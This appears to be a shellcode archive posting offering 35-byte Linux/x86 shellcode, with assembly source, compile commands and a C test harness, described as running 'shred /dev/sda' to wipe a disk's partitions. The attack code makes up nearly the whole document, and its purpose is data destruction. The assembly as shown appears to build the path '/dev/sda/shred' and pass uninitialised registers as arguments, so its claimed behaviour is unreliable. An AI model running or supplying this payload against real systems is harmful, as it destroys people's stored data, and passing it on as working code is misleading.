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Linux/x86 /dev/sda Partition Wiping Shellcode

Linux/x86 /dev/sda Partition Wiping Shellcode
Posted Aug 21, 2020
Authored by cybersaki

35 bytes small Linux/x86 /dev/sda wiping shellcode.

tags | x86, shellcode
systems | linux
SHA-256 | 88db311b901ed70f5965fb3a51e043676c4963a4c809de48bb783a32f6fc4239

Linux/x86 /dev/sda Partition Wiping Shellcode

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# Exploit Title: Linux/x86 - Shred /dev/sda wipe partition Shellcode (35 bytes)
# Google Dork: None
# Date: 13-08-2020
# Exploit Author: cybersaki
# Vendor Homepage: None
# Software Link: None
# Version: None
# Tested on: Kali linux 2020.2a i386 x86
# CVE : none
# Shellcode-length : 35
# SLAE-id : Purchased | chivaljazz@gmail.com

; Description :
; The following shellcode will execute shred /dev/sda to wipe the partitions.

; Shellcode :

section .text

global _start

_start:
xor eax, eax
push eax

push word 0x6465
push 0x7268732f
push 0x6164732f
push 0x7665642f

mov ebx, esp

_exec:
push eax
push ebp
push edi
push esi
push ebx
mov ecx, esp
mov al, 0xb

int 0x80

; Compilation :
; nasm -f elf32 -o filename.o filename.nasm
; ld -z execstack -o filename filename.o
; gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

; Shellcode :

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\x50\x66\x68\x65\x64\x68\x2f\x73\x68\x72\x68\x2f\x73\x64\x61\x68\x2f\x64\x65\x76\x89\xe3\x50\x55\x57\x56\x53\x89\xe1\xb0\x0b\xcd\x80";

int main()
{

printf("Shellcode Length: %d\n", strlen(code));

int (*ret)() = (int(*)())code;

ret();

}
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